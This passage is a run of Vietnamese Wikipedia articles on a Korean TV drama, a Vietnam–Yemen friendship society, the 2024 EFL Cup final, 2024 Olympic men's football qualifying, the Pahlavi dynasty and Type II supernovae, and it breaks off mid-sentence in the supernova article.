trợ sản xuất bộ phim. Lựa chọn diễn viên Các diễn viên Suho, Hong Ye-ji, Kim Min-kyu, và Myung Se-bin đã được lựa chọn vào tháng 9 và tháng 11 năm 2023. Cả ba cùng với nam diễn viên Kim Joo-hun đã được xác nhận chính thức rằng sẽ đóng các vai chính của bộ phim. Phát sóng MBN thông báo ngày dự kiến ra mắt của "Thế tử biến mất rồi!" là ngày 9 tháng 3 năm 2024 và bộ phim sẽ được phát sóng vào tối thứ Bảy và Chủ nhật hàng tuần. Tham khảo Liên kết ngoài Chương trình truyền hình tiếng Triều Tiên Phim truyền hình Hàn Quốc ra mắt năm 2024 Phim truyền hình Hàn Quốc
19852837
https://vi.wikipedia.org/wiki/H%E1%BB%99i%20h%E1%BB%AFu%20ngh%E1%BB%8B%20Vi%E1%BB%87t%20Nam-Yemen
Hội hữu nghị Việt Nam-Yemen
Hội hữu nghị Việt Nam-Yemen () là một tổ chức ở Cộng hòa Dân chủ Nhân dân Yemen, nhằm thúc đẩy quan hệ với Việt Nam. Năm 1981, Ali Nasir Bartoush là thư ký của hội. Năm 1987, Tiến sĩ Abdul Wasa Salam, Bộ trưởng Bộ Tư pháp CHDCND Yemen, là chủ tịch của hội. Tham khảo Tổ chức có trụ sở tại Yemen
19852839
https://vi.wikipedia.org/wiki/Chung%20k%E1%BA%BFt%20c%C3%BAp%20EFL%202024
Chung kết cúp EFL 2024
Chung kết cúp EFL 2024 là trận đấu cuối cùng của cúp EFL 2023-24, mùa giải thứ 64 của cúp EFL do Liên đoàn bóng đá Anh tổ chức. Trận đấu chứng kiến màn tranh tài giữa Chelsea và Liverpool, và được diễn ra tại sân vận động Wembley ở Luân Đôn, Anh vào ngày 25 tháng 2 năm 2024. Liverpool giành chiến thắng với tỉ số 1–0 sau hiệp phụ để giành danh hiệu EFL Cup lần thứ 10 và là kỷ lục của giải đấu. Đường đến trận chung kết Chelsea Là một câu lạc bộ Premier League không tham gia bất kỳ giải đấu nào của UEFA, Chelsea tham gia vòng 2, nơi họ bị cầm hòa trên sân nhà trước câu lạc bộ thi đấu tại giải EFL League Two là AFC Wimbledon. Trận đấu diễn ra tại Stamford Bridge vào ngày 30 tháng 8 năm 2023, nơi Chelsea thắng 2-1 nhờ các bàn thắng của Noni Madueke và Enzo Fernández. Ở vòng 3, họ gặp câu lạc bộ Premier League là Brighton & Hove Albion trên sân nhà Stamford Bridge vào ngày 27 tháng 9. Trận đấu kết thúc với tỷ số 1–0, với bàn thắng duy nhất đến từ tiền đạo Nicolas Jackson ở phút thứ 50. Ở vòng 4, Chelseatiếp tục thi đấu trên sân nhà trước câu lạc bộ EFL Championship là Blackburn Rovers diễn ra vào ngày 1 tháng 11. Trận đấu chứng kiến Chelsea thoải mái đánh bại Blackburn với tỷ số 2–0, với các bàn thắng đến từ Benoît Badiashile và Raheem Sterling. Ở vòng tứ kết, Chelsea lần thứ tư liên tiếp thi đấu trên sân nhà trước câu lạc bộ Premier League và là đội vào chung kết năm 2023 Newcastle United vào ngày 19 tháng 12. Callum Wilson ghi bàn thắng sớm cho Newcastle, tuy nhiên sai lầm phòng ngự của Kieran Trippier đã dẫn đến bàn gỡ hòa ở phút bù giờ của cầu thủ vào thay người của Chelsea là Mykhailo Mudryk, khiến trận đấu phải chuyển sang loạt sút luân lưu. Chelsea thắng 4–2 trên chấm phạt đền với tỷ lệ chuyển đổi 100%, với Cole Palmer, Conor Gallagher, Christopher Nkunku và Mudryk đều ghi bàn cho The Blues. Wilson và Bruno Guimarães thực hiện quả phạt đền của họ cho Newcastle, khi Trippier sút trượt và Matt Ritchie bị Đorđe Petrović cản phá quả phạt đền quyết định. Trận bán kết diễn ra theo hai lượt, Chelsea đã bị cầm hòa trước câu lạc bộ tại EFL Championship là Middlesbrough với trận lượt đi diễn ra trên sân khách Riverside Stadium vào ngày 9 tháng 1 năm 2024. Middlesbrough đã gây sốc cho The Blues khi đánh bại họ với tỷ số 1–0 với bàn thắng từ pha lập công của Hayden Hackney. Trận lượt về diễn ra tại Stamford Bridge vào ngày 23 tháng 1, Chelsea thắng 6–1 (tổng tỷ số 6–2) trong trận đấu buộc phải thắng, với bàn phản lưới nhà của Jonny Howson, các bàn thắng của Fernández, Axel Disasi, Madueke, và cú đúp của Palmer ấn định chiến thắng cho Chelsea, bất chấp việc Morgan Rogers của Middlesbrough ghi bàn thắng danh dự. Liverpool Là một câu lạc bộ Premier League và tham gia UEFA Europa League 2023–24, Liverpool thi đấu vòng ba, nơi họ thi đấu trên sân nhà trước câu lạc bộ tại EFL Championship là Leicester City. Trận đấu diễn ra tại Anfield vào ngày 27 tháng 9 năm 2023, Liverpool thắng 3-1 nhờ các bàn thắng của Cody Gakpo, Dominik Szoboszlai và Diogo Jota. Ở vòng 4, họ gặp câu lạc bộ Premier League là Bournemouth, thi đấu tại Dean Court vào ngày 1 tháng 11 năm 2023. Trận đấu kết thúc với chiến thắng 2-1 cho Liverpool, với Cody Gakpo và Darwin Núñez đều có tên trên bảng tỷ số. Ở vòng tứ kết, Liverpool thi đấu trên sân nhà trước câu lạc bộ Premier League là West Ham United vào ngày 20 tháng 12 năm 2023. Liverpool đã tạo ra một màn trình diễn vượt trội để giành chiến thắng 5–1, với các bàn thắng đến từ Dominik Szoboszlai, Curtis Jones, Cody Gakpo và Mohamed Salah. Jones ghi cú đúp, bàn thắng thứ hai của anh là bàn thắng thứ 500 cho Liverpool tại Cúp EFL. Trong trận bán kết diễn ra hai lượt, Liverpool gặp câu lạc bộ Premier League là Fulham với trận lượt đi diễn ra trên sân nhà Anfield vào ngày 10 tháng 1 năm 2024. Mặc dù bị dẫn trước trong hiệp một nhờ bàn thắng của Willian, Liverpool hoàn tất lội ngược dòng để giành chiến thắng 2-1 sau hai bàn thắng trong hiệp hai do công của Curtis Jones và Cody Gakpo. Trận lượt về diễn ra tại Craven Cottage vào ngày 24 tháng 1, trận đấu kết thúc với tỷ số hòa 1-1 với pha lập công của Issa Diop và Luis Díaz. Kết quả là Liverpool đã giành chiến thắng chung cuộc 3–2 để tiến tới trận chung kết EFL Cup thứ hai sau ba mùa giải. Trận đấu Chi tiết Số liệu thống kê Ghi chú Tham khảo Liên kết ngoài Trang chủ Cúp Liên đoàn Anh 2024 Sự kiện tại Sân vận động WembleyTrận đấu của Chelsea F.C. Trận đấu của Liverpool F.C.
19852855
https://vi.wikipedia.org/wiki/B%C3%B3ng%20%C4%91%C3%A1%20t%E1%BA%A1i%20Th%E1%BA%BF%20v%E1%BA%ADn%20h%E1%BB%99i%20M%C3%B9a%20h%C3%A8%202024%20%E2%80%93%20V%C3%B2ng%20lo%E1%BA%A1i%20Nam
Bóng đá tại Thế vận hội Mùa hè 2024 – Vòng loại Nam
Tổng cộng có 16 đội sẽ thi đấu ở môn bóng đá nam tại Thế vận hội Mùa hè 2024. Ngoài nước chủ nhà Pháp, 15 đội U-23 nam quốc gia khác đã hoặc sẽ vượt qua vòng loại từ các giải đấu của sáu liên đoàn châu lục. Phân bổ Vào ngày 24 tháng 2 năm 2022, Hội đồng FIFA đã phê duyệt việc phân bổ suất tham dự Thế vận hội Mùa hè 2024. Với tư cách là chủ nhà, Pháp tự động giành được một suất tham dự giải đấu. Đối với 15 suất còn lại, AFC và CAF nhận được 3,5 suất cho mỗi liên đoàn, UEFA nhận được 3 suất, CONCACAF và CONMEBOL nhận được 2 suất và OFC nhận được 1 suất. Giải vô địch bóng đá U-20 Bắc, Trung Mỹ và Caribe 2022 Hai đội thắng trong hai trận bán kết vượt qua vòng loại. Vòng đấu loại trực tiếp Giải vô địch bóng đá U-21 châu Âu 2023 Ba đội đứng đầu (không bao gồm Anh và chủ nhà Thế vận hội Pháp) sẽ vượt qua vòng loại. Anh là nhà vô địch Giải vô địch U-21 châu Âu 2023, tuy nhiên họ không thể tham dự vòng loại Thế vận hội cho Vương quốc Anh do không có thỏa thuận nào giữa các liên đoàn Anh, Bắc Ireland, Scotland và xứ Wales. Vòng đấu loại trực tiếp Cúp bóng đá U-23 các quốc gia châu Phi 2023 Đội thắng ở trận bán kết và trận tranh hạng ba sẽ giành quyền tham dự Thế vận hội Mùa hè 2024. Vòng đấu loại trực tiếp Vòng loại Thế vận hội châu Đại Dương 2023 New Zealand vượt qua vòng loại sau khi đánh bại Fiji trong trận chung kết. Vòng đấu loại trực tiếp Giải bóng đá tiền Thế vận hội Nam Mỹ 2024 Mười đội tham dự được chia thành hai bảng năm đội, thi đấu vòng tròn một lượt. Đội nhất và nhì mỗi bảng sẽ tiến vào vòng bảng thứ hai (cũng theo thể thức vòng tròn tính điểm), chọn ra hai đội đứng đầu giành quyền tham dự Thế vận hội. Cúp bóng đá U-23 châu Á 2024 15 đội sẽ cùng đội chủ nhà Qatar thi đấu ở bốn bảng theo thể thức vòng tròn một lượt. Đội đứng nhất và nhì mỗi bảng sẽ vào vòng loại trực tiếp, đội thắng ở trận bán kết và trận tranh hạng ba sẽ giành quyền tham dự Thế vận hội Mùa hè 2024. Vòng bảng Play-off AFC–CAF Trận play-off sẽ xác định đội cuối cùng được tham dự Thế vận hội, diễn ra giữa đội đứng thứ 4 đến từ châu Phi (Guinea), và đội đứng thứ 4 của châu Á (hiện vẫn chưa xác định). Tham khảo Vòng loại bóng đá Thế vận hội Mùa hè 2024 Bóng đá tại Thế vận hội Mùa hè 2024 - Vòng loại nam
19852866
https://vi.wikipedia.org/wiki/Tri%E1%BB%81u%20%C4%91%E1%BA%A1i%20Pahlavi
Triều đại Pahlavi
Triều đại Pahlavi () là triều đại hoàng gia cuối cùng của Iran, cai trị gần 54 năm từ 1925 đến 1979. Vương triều được thành lập bởi Reza Shah Pahlavi, một người lính Mazanderani phi quý tộc ở thời hiện đại, ông đã lấy tên ngôn ngữ Pahlavi được sử dụng ở Đế quốc Sasan thời tiền Hồi giáo để củng cố thông tin về chủ nghĩa dân tộc của ông. Triều đại này thay thế triều đại Qajar vào năm 1925 sau cuộc đảo chính năm 1921, bắt đầu vào ngày 14 tháng 1 năm 1921 khi người lính 42 tuổi Reza Khan được Tướng Anh Edmund Ironside thăng chức lãnh đạo Lữ đoàn Cossack Ba Tư do Anh điều hành. Khoảng một tháng sau, dưới sự chỉ đạo của Anh, đội quân mạnh gồm 3.000-4.000 người của Reza Khan trong Lữ đoàn Cossack đã đến Tehran thực hiện cuộc đảo chính Ba Tư năm 1921. Phần còn lại của đất nước bị chiếm vào năm 1923, và đến tháng 10 năm 1925, Majlis đồng ý phế truất và chính thức để Ahmad Shah Qajar lưu vong. Majlis tuyên bố Reza Pahlavi là Shah mới của Iran vào ngày 12 tháng 12 năm 1925, theo Hiến pháp Ba Tư năm 1906. Ban đầu, Pahlavi dự định tuyên bố đất nước là một nước cộng hòa, như Mustafa Kemal Atatürk đã làm ở Thổ Nhĩ Kỳ, nhưng đã từ bỏ ý tưởng này trước sự phản đối của người Anh và các giáo sĩ. Triều đại cai trị Iran trong 28 năm dưới hình thức quân chủ lập hiến từ năm 1925 đến năm 1953, và sau khi lật đổ thủ tướng được bầu cử dân chủ, trong 26 năm nữa là chế độ quân chủ chuyên chế cho đến khi chính triều đại này bị lật đổ vào năm 1979 bởi một phong trào cách mạng hồi giáo để lập ra Nhà nước Hồi giáo Iran hiện tại. Bối cảnh gia tộc Năm 1878, Reza Khan sinh ra tại làng Alasht thuộc huyện Savadkuh, tỉnh Mazandaran. Cha mẹ ông là Abbas Ali Khan và Noushafarin Ayromlou. Mẹ của ông là một người nhập cư Hồi giáo từ Gruzia (khi đó là một phần của Đế quốc Nga), gia đình ông đã di cư đến Qajar Iran sau khi Iran buộc phải nhượng lại toàn bộ lãnh thổ của mình ở Caucasus sau Chiến tranh Nga-Ba Tư vài thập kỷ trước khi Reza Shah ra đời. Cha của ông là một Mazandarani, được đưa vào Trung đoàn Savadkuh số 7 và phục vụ trong Chiến tranh Anh-Ba Tư năm 1856. Người đứng đầu Nhà Pahlavi Phối ngẫu Tham khảo Liên kết ngoài Nhà Pahlavi Hoàng gia Iran Triều đại châu Á
19852879
https://vi.wikipedia.org/wiki/Si%C3%AAu%20t%C3%A2n%20tinh%20lo%E1%BA%A1i%20II
Siêu tân tinh loại II
Siêu tân tinh loại II là kết quả của sự sụp đổ nhanh chóng và vụ nổ dữ dội của một ngôi sao lớn. Một ngôi sao phải có ít nhất 8 lần, nhưng không quá 40 đến 50 lần khối lượng Mặt Trời (M☉) để trải qua loại vụ nổ. Siêu tân tinh loại II được phân biệt với các loại siêu tân tinh khác bởi sự hiện diện của hydro trong quang phổ của chúng. Chúng thường được quan sát thấy trong các nhánh xoắn ốc của các thiên hà và trong các vùng H II, nhưng không thấy ở trong các thiên hà elip, nơi thường bao gồm các ngôi sao già hơn, khối lượng thấp, với một số ngôi sao trẻ, rất nặng cần thiết để tạo ra các siêu tân tinh. Các ngôi sao tạo ra năng lượng bằng phản ứng tổng hợp hạt nhân của các nguyên tố. Không giống như Mặt Trời, các ngôi sao khổng lồ sở hữu khối lượng cần thiết để tổng hợp các nguyên tố có khối lượng nguyên tử lớn hơn hydro và heli, mặc dù ở nhiệt độ và áp suất ngày càng cao, làm cho thời gian sống của sao ngắn hơn tương ứng. Áp suất suy biến của các electron và năng lượng tạo ra từ các phản ứng nhiệt hạch này đủ để chống lại lực hấp dẫn và ngăn ngôi sao sụp đổ, duy trì trạng thái cân bằng của sao. Ngôi sao hợp nhất các nguyên tố có khối lượng ngày càng cao, bắt đầu bằng hydro và sau đó là heli, tiến dần lên trong bảng tuần hoàn cho đến khi tạo ra lõi của sắt và nickel. Phản ứng tổng hợp sắt hoặc nickel không tạo ra năng lượng ròng, do đó không thể xảy ra phản ứng tổng hợp nữa, khiến lõi nickel–sắt trở lên trơ và mất hoạt tính. Do thiếu năng lượng tạo ra áp suất nhiệt đẩy ra bên ngoài, lõi co lại do trọng lực cho đến khi trọng lượng lớp trên của ngôi sao có thể được hỗ trợ phần lớn bởi áp suất thoái hóa electron. Khi khối lượng nén chặt của lõi trơ vượt quá giới hạn Chandrasekhar khoảng , áp suất electron thoái hóa không còn đủ để chống lại lực nén trọng trường. Tại lõi xảy ra một vụ nổ khổng lồ chỉ trong vòng vài giây. Không còn sự chống đỡ của lõi bên trong do đã phát nổ, các lõi bên ngoài sụp đổ rơi xuống dưới tác dụng của trọng lực với vận tốc lên tới 23% tốc độ ánh sáng, và sự nén đột ngột làm tăng nhiệt độ của lõi bên trong lên tới 100 tỷ kelvin. Các hạt neutron và neutrino được hình thành thông qua cơ chế phân rã beta ngược, giải phóng khoảng 1046 joule trong vòng 10 giây. Sự sụp đổ của lõi bên trong bị dừng lại bởi áp suất từ các neutron suy biến, khiến vật chất đang rơi xuống bị bật lại và bắn ra bên ngoài. Năng lượng của sóng xung kích đang mở rộng này đủ để phá tan các lớp vật chất bên trên của sao và gia tốc nó đến vận tốc thoát, tạo thành một vụ nổ siêu tân tinh. Sóng xung kích và nhiệt độ và áp suất cực cao nhanh chóng tan biến nhưng tồn tại đủ lâu để cho phép một thời gian ngắn xảy ra quá trình tạo ra các nguyên tố nặng hơn sắt. Tùy thuộc vào khối lượng ban đầu của ngôi sao, phần còn lại của lõi tạo thành một sao neutron hoặc một lỗ đen. Do cơ chế sụp đổ này, siêu tân tinh tạo thành cũng được mô tả là siêu tân tinh sụp đổ lõi. Tồn tại một số loại vụ nổ siêu tân tinh loại II, được phân loại dựa trên đồ thị cường độ sáng (light curve) – biểu đồ độ sáng so với thời gian – sau vụ nổ. Siêu tân tinh loại II-L cho thấy sự suy giảm ổn định (thẳng tuyến tính) của đường cường độ sáng sau vụ nổ, trong khi loại II-P hiển thị khoảng thời gian suy giảm chậm hơn (đường đi ngang, hay bình nguyên) trong đường cường độ sáng của chúng, sau đó là sự suy giảm bình thường. Siêu tân tinh loại Ib và Ic là một loại siêu tân tinh sụp đổ lõi đối với một ngôi sao lớn đã phát tán lớp vỏ bên ngoài của nó chứa hydro và (đối với loại Ic) heli. Kết quả là chúng dường như thiếu các nguyên này trong quang phổ từ vụ nổ. Sự hình thành Những ngôi sao có khối lượng lớn hơn nhiều so với Mặt Trời phát triển theo những cách phức tạp. Trong lõi của ngôi sao, hydro được hợp nhất thành heli, giải phóng năng lượng nhiệt làm nóng lõi của ngôi sao và cung cấp áp suất đẩy ra bên ngoài hỗ trợ các lớp của ngôi sao chống lại sự sụp đổ – một tình trạng được gọi là cân bằng thủy tĩnh sao. Heli được tạo ra trong lõi tích tụ ở đó. Nhiệt độ trong lõi chưa đủ cao để làm cho các hạt nhân heli tổng hợp với nhau. Cuối cùng, khi hydro trong lõi cạn kiệt, phản ứng tổng hợp bắt đầu chậm lại và lực hấp dẫn khiến lõi co lại. Sự co lại này làm tăng nhiệt độ đủ cao để cho phép một giai đoạn phản ứng tổng hợp heli ngắn hơn, tạo ra carbon và oxy, và chiếm ít hơn 10% tổng thời gian tồn tại của ngôi sao. Trong các sao có khối lượng nhỏ hơn 8 lần khối lượng Mặt Trời, các hạt nhân carbon được tạo ra từ sự tổng hợp hạt nhân heli sẽ không tiếp tục tổng hợp với nhau, và ngôi sao lạnh dần để trở thành sao lùn trắng. Nếu chúng tích tụ nhiều khối lượng hơn từ một ngôi sao khác, hoặc một số nguồn khác, chúng có thể trở thành siêu tân tinh loại Ia. Nhưng một ngôi sao lớn hơn nhiều có khối lượng đủ lớn để tiếp tục phản ứng tổng hợp hạt nhân ngoài điểm này. Lõi của những ngôi sao khổng lồ này trực tiếp tạo ra nhiệt độ và áp suất cần thiết để làm cho carbon trong lõi bắt đầu tổng hợp khi ngôi sao co lại ở cuối giai đoạn đốt cháy heli. Lõi dần dần trở thành nhiều lớp giống như một củ hành, khi các hạt nhân nguyên tử nặng dần dần hình thành ở trung tâm, với một lớp khí hydro ngoài cùng, bao quanh một lớp hydro hợp nhất thành heli, bao quanh một lớp heli hợp nhất thành carbon thông qua quá trình ba-alpha, các lớp xung quanh hợp nhất tạo thành các nguyên tố nặng dần. Khi một ngôi sao khối lượng lớn này tiến triển, nó trải qua các giai đoạn lặp đi lặp lại cho đến khi quá trình tổng hợp hạt nhân trong lõi dừng lại, và lõi tiếp tục sụp đổ cho đến khi áp suất và nhiệt độ đủ để bắt đầu giai đoạn tiếp theo của quá trình tổng hợp hạt nhân nặng hơn, làm lõi nóng lên và ngăn chặn sự sụp đổ. {| class="wikitable" |+ Các giai đoạn tổng hợp hạt nhân ở lõi của một ngôi sao có khối lượng 25 M☉ !rowspan="2"| Giai đoạn !rowspan="2"| Nhiên liệu chính !rowspan="2"| Sản phẩm chính !colspan="3"| Sao khối lượng 25 M☉ |- !style="font-weight: normal"| Nhiệt độ(K) !style="font-weight: normal"| Mật độ(g/cm3) !style="font-weight: normal"| Thời gian diễn ra |- || Đốt hydro || hydro || He | style="text-align:center;"| | style="text-align:center;"| 10 | style="text-align:center;"| |- || Quá trình ba-alpha || heli || C, O | style="text-align:center;"| | style="text-align:center;"| 2000 | style="text-align:center;"| |- || Quá trình đốt carbon || carbon || Ne, Na, Mg, Al | style="text-align:center;"| | style="text-align:center;"| | style="text-align:center;"| 1000 năm |- || Quá trình đốt neon || neon || O, Mg | style="text-align:center;"| | style="text-align:center;"| | style="text-align:center;"| 3 năm |- || Quá trình đốt oxy || oxy || Si, S, Ar, Ca | style="text-align:center;"| | style="text-align:center;"| | style="text-align:center;"| 0,3 năm |- || Quá trình đốt silic || silic || Ni (phân rã thành Fe) | style="text-align:center;"| | style="text-align:center;"| | style="text-align:center;"| 5 ngày |} Sụp đổ lõi Yếu tố giới hạn quá trình này là lượng năng lượng được giải phóng thông qua phản ứng tổng hợp, năng lượng này phụ thuộc vào năng lượng liên kết giữ các hạt nhân nguyên tử lại với nhau. Mỗi bước tiếp theo tạo ra hạt nhân nặng dần hơn, năng lượng giải phóng dần dần giảm đi. Thêm vào đó, từ quá trình tổng hợp carbon trở đi, sự mất mát năng lượng trở nên đáng kể do neutrino sinh ra mang đi, dẫn đến tốc độ phản ứng cao hơn so với những gì xảy ra. Điều này tiếp tục cho đến khi nickel-56 được tạo ra, phân rã phóng xạ thành cobalt-56 và sau đó là sắt-56 trong một vài tháng. Vì sắt và nickel có năng lượng liên kết trên mỗi nucleon cao nhất trong tất cả các nguyên tố, năng lượng không thể tiếp tục được sinh ra ở lõi từ phản ứng tổng hợp, và lõi nickel–sắt sẽ phát triển. Phần lõi này chịu áp suất trọng trường rất lớn. Vì không có phản ứng tổng hợp để nâng cao hơn nữa nhiệt độ của ngôi sao để hỗ trợ nó chống lại sự sụp đổ, nó chỉ được hỗ trợ bởi áp suất thoái hóa của các electron. Ở trạng thái này, vật chất quá dày đặc nên việc nén chặt hơn nữa sẽ yêu cầu các electron chiếm cùng trạng thái năng lượng. Tuy nhiên, điều này bị cấm đối với các hạt fermion giống hệt nhau, chẳng hạn như electron – một hiện tượng được gọi là nguyên lý loại trừ Pauli. Khi khối lượng của lõi vượt giới hạn Chandrasekhar khoảng 1,4 M☉, áp lực thoái hóa không còn có thể hỗ trợ nó nữa, và sự sụp đổ khổng lồ xảy ra sau đó. Phần bên ngoài của lõi đạt vận tốc lên tới (23% tốc độ ánh sáng) khi nó sụp đổ về phía trung tâm của ngôi sao. Phần lõi co lại nhanh chóng nóng lên, tạo ra các tia gamma năng lượng cao phân hủy hạt nhân sắt thành hạt nhân heli và neutron tự do thông qua phản ứng quang phân rã (photodisintegration). Khi mật độ khối lượng của lõi tăng lên, nó trở nên thuận lợi về mặt năng lượng cho các electron và proton hợp nhất thông qua phân rã beta nghịch đảo, tạo ra neutron và các hạt cơ bản gọi là neutrino. Bởi vì neutrino hiếm khi tương tác với vật chất bình thường, chúng thoát ra khỏi lõi, mang theo năng lượng và tiếp tục đẩy nhanh sự sụp đổ, mà chỉ diễn ra trong khoảng thời gian mili giây. Khi lõi tách ra khỏi các lớp bên ngoài của ngôi sao, một số neutrino này bị các lớp bên ngoài của ngôi sao hấp thụ, bắt đầu vụ nổ siêu tân tinh. Đối với siêu tân tinh loại II, sự sụp đổ cuối cùng bị dừng lại bởi tương tác đẩy nhau giữa các neutron ở phạm vi ngắn, thông qua trung gian của tương tác mạnh, cũng như bởi áp suất suy biến của neutron, ở mật độ tương đương với mật độ của hạt nhân nguyên tử. Khi sự sụp đổ dừng lại, vật chất đang rơi xuống lõi bật lại, tạo ra một sóng xung kích lan truyền ra bên ngoài. Năng lượng từ sóng xung kích này phân tách các nguyên tố nặng trong lõi. Điều này làm giảm năng lượng của sóng xung kích, có thể làm ngừng vụ nổ ở lõi bên ngoài. Giai đoạn sụp đổ lõi rất dày đặc và tràn đầy năng lượng đến mức chỉ có neutrino mới có thể thoát ra. Khi các proton và electron kết hợp để tạo thành neutron bằng cách bắt electron, một hạt neutrino electron được tạo ra. Trong một siêu tân tinh loại II điển hình, lõi neutron mới hình thành có nhiệt độ ban đầu khoảng 100 tỷ kelvin, gấp 104 lần nhiệt độ tại lõi Mặt Trời. Phần lớn nhiệt năng này phải được loại bỏ để một ngôi sao neutron ổn định hình thành, nếu không các neutron sẽ "sôi lên". Điều này đạt được thông qua sự giải phóng thêm các neutrino. Các neutrino 'nhiệt' này hình thành dưới dạng các cặp neutrino–phản neutrino của tất cả các loại neutrino, và tổng số lớn gấp vài lần số lượng neutrino từ quá trình bắt electron. Hai cơ chế sản xuất neutrino chuyển đổi thế năng hấp dẫn của sự sụp đổ thành một vụ nổ neutrino kéo dài 10 giây, giải phóng khoảng 1046 joule. Thông qua một quá trình chưa được hiểu rõ, khoảng 1%, hay 1044 joules năng lượng được giải phóng (dưới dạng các neutrino) bị tái hấp thụ bởi cú sốc hãm, tạo ra vụ nổ siêu tân tinh. Neutrino tạo ra từ siêu tân tinh đã được quan sát từ sự kiện siêu tân tinh 1987A, giúp các nhà thiên văn vật lý kết luận rằng bức tranh sụp đổ lõi cơ bản là đúng. Đài quan sát môi chất nước Kamiokande II và thiết bị dò IMB ở hồ Erie đã phát hiện được các hạt phản neutrino có nguồn gốc nhiệt, trong khi thiết bị dò môi chất gali-71 ở đài quan sát neutrino Baksan đã phát hiện được các neutrino (số lepton = 1) có nguồn gốc nhiệt hoặc nguồn gốc từ phản ứng bắt electron. Khi ngôi sao tiền khởi có khối lượng dưới – phụ thuộc vào cường độ của vụ nổ và lượng vật chất rơi trở lại – lõi tàn dư còn lại sau vụ sụp đổ là một sao neutron suy biến. Lớn hơn khối lượng này, lõi tàn dư sẽ trở thành một lỗ đen. Giới hạn khối lượng cho kịch bản sụp đổ lõi này là trong khoảng . Bên trên phạm vi khối lượng này, các nhà thiên văn vật lý cho rằng vụ sụp đổ sẽ hình thành trực tiếp lên lỗ đen mà không xảy ra vụ nổ siêu tân tinh, cho dù các bất định trong các mô hình sụp đổ siêu tân tinh dẫn đến các tính toán cho các giới hạn này không chắc chắn. Các mô hình lý thuyết Mô hình Chuẩn của vật lý hạt là một lý thuyết miêu tả ba trong bốn tương tác cơ bản đã biết giữa các hạt cơ bản cấu tạo của mọi vật chất. Lý thuyết này cho phép dự đoán về cách các hạt sẽ tương tác với nhau như thế nào dưới rất nhiều điều kiện. Năng lượng của một hạt trong vụ nổ siêu tân tinh có giá trị điển hình trong khoảng 1–150 picojoule (hàng chục đến hàng trăm MeV). Năng lượng của các hạt trong tiến trình siêu tân tinh là đủ nhỏ để các dự đoán của Mô hình Chuẩn cho vật lý hạt dường như cơ bản là đúng. Nhưng với mật độ tập trung hạt cao có thể đòi hỏi các hiệu chỉnh từ Mô hình Chuẩn. Hơn nữa, các máy gia tốc hạt trên Trái Đất có thể tạo các tương tác hạt có phạm vi năng lượng cao hơn nhiều các hạt được tìm thấy trong vụ nổ siêu tân tinh, nhưng các thí nghiệm này chỉ bao gồm các hạt riêng lẻ tương tác với từng hạt, và rất có thể ở mật độ rất cao trong vụ nổ siêu tân tinh sẽ tạo ra những hiệu ứng mới. Tương tác giữa các neutrino và các hạt khác xảy ra trong siêu tân tinh được miêu tả bằng lực hạt nhân yếu, mà đã được hiểu khá rõ. Tuy nhiên, tương tác giữa các proton và neutron có sự ảnh hưởng bởi lực hạt nhân mạnh mà chưa được hiểu mọi chi tiết. Vấn đề lớn chưa giải được của vụ nổ siêu tân tinh loại II đó là các nhà thiên văn vật lý chưa hiểu được cơ chế bằng cách nào mà sự nổ tung của các neutrino có thể truyền năng lượng của chúng đến phần còn lại của ngôi sao tạo ra đợt sóng xung kích khiến cho ngôi sao phát nổ. Từ thảo luận ở trên, chỉ có 1% năng lượng từ neutrino cần thiết truyền cho vật chất để tạo ra vụ nổ, nhưng sự giải thích cho bằng cách nào mà 1% năng lượng này được truyền tải đã được chứng minh là cực kỳ khó, ngay cả khi các tương tác tham gia vào hạt cơ bản đã được hiểu rõ. Trong thập niên 1990, một mô hình tìm cách lý giải cơ chế này bằng sự đảo ngược đối lưu (convective overturn), đề xuất rằng sự đối lưu, hoặc là bởi neutrino từ bên dưới, hoặc bởi vật chất rơi từ bên trên, hoàn thành quá trình phá hủy ngôi sao tiền khởi. Các nguyên tố nặng hơn sắt được hình thành trong quá trình vụ nổ này bằng cách bắt neutron, và từ áp suất của các neutrino nén vào biên của "khí quyển neutrino", gieo vào không gian xung quanh một đám mây khí và bụi giàu các nguyên tố nặng hơn so với vật chất hình thành ngôi sao ban đầu. Vật lý neutrino, được mô hình hóa bởi Mô hình Chuẩn, là cơ sở lý thuyết để hiểu quá trình này. Những lý thuyết trọng yếu khác cho nghiên cứu siêu tân tinh đó là động lực học chất lưu của plasma tạo nên ngôi sao sắp chết; cách nó hoạt động trong quá trình sụp đổ lõi xác định thời điểm và cách thức sóng xung kích hình thành cũng như thời điểm và cách thức nó dừng lại và được cung cấp năng lượng trở lại. Trên thực tế, một số mô hình lý thuyết kết hợp sự mất ổn định thủy động lực học trong sóng xung kích bị hãm được gọi là "Sự mất ổn định của sốc bồi tụ dừng" (Standing Accretion Shock Instability – SASI). Sự không ổn định này xảy ra do hậu quả của các nhiễu loạn không hình cầu làm dao động sóng xung kích bị hãm do đó làm biến dạng nó. Mô hình SASI thường được sử dụng song song với các lý thuyết neutrino trong các mô phỏng máy tính để tái tạo năng lượng cho cú sốc sóng xung kích bị hãm. Các mô phỏng máy tính đã rất thành công trong việc tính toán tiến trình của siêu tân tinh loại II khi cú sốc được hình thành. Bằng cách bỏ qua giây đầu tiên của vụ nổ và giả sử rằng một vụ nổ đã bắt đầu, các nhà vật lý thiên văn đã có thể đưa ra những dự đoán chi tiết về các nguyên tố do siêu tân tinh tạo ra và về đường cong ánh sáng dự kiến từ siêu tân tinh. Đồ thị độ sáng của siêu tân tinh loại II-L và II-P Khi kiểm tra quang phổ của siêu tân tinh loại II, nó thường có các vạch phổ hấp thụ Balmer – thông lượng giảm ở các tần số đặc trưng khi các nguyên tử hydrogen hấp thụ năng lượng. Sự có mặt của các vạch phổ này thường được sử dụng để phân loại siêu tân tinh loại II với siêu tân tinh loại Ia. Khi vẽ cường độ sáng của một vụ nổ siêu tân tinh loại II trong một quãng thời gian, nó hiện lên một đỉnh cực đại sáng sau đó giảm dần độ sáng. Những đường cong độ sáng này có tốc độ suy giảm trung bình là 0,008 độ sáng tuyệt đối trên một ngày; thấp hơn nhiều tốc độ suy giảm của siêu tân tinh loại Ia. Siêu tân tinh loại II được chia thành hai nhóm con, phụ thuộc vào dạng đồ thị cường độ sáng. Đồ thị cường độ sáng của siêu tân tinh loại II-L giảm đều (tuyến tính – linear) sau độ sáng cực đại. Ngược lại, đồ thị cường độ sáng của siêu tân tinh loại II-P có một quãng đi ngang (nhìn tựa như cao nguyên – plateau); biểu diễn khoảng thời gian khi cường độ sáng suy giảm ở tốc độ chậm hơn. Siêu tân tinh loại II-P có tổng độ suy giảm cường độ sáng là chậm hơn, vào khoảng 0,0075 độ sáng tuyệt đối trên một 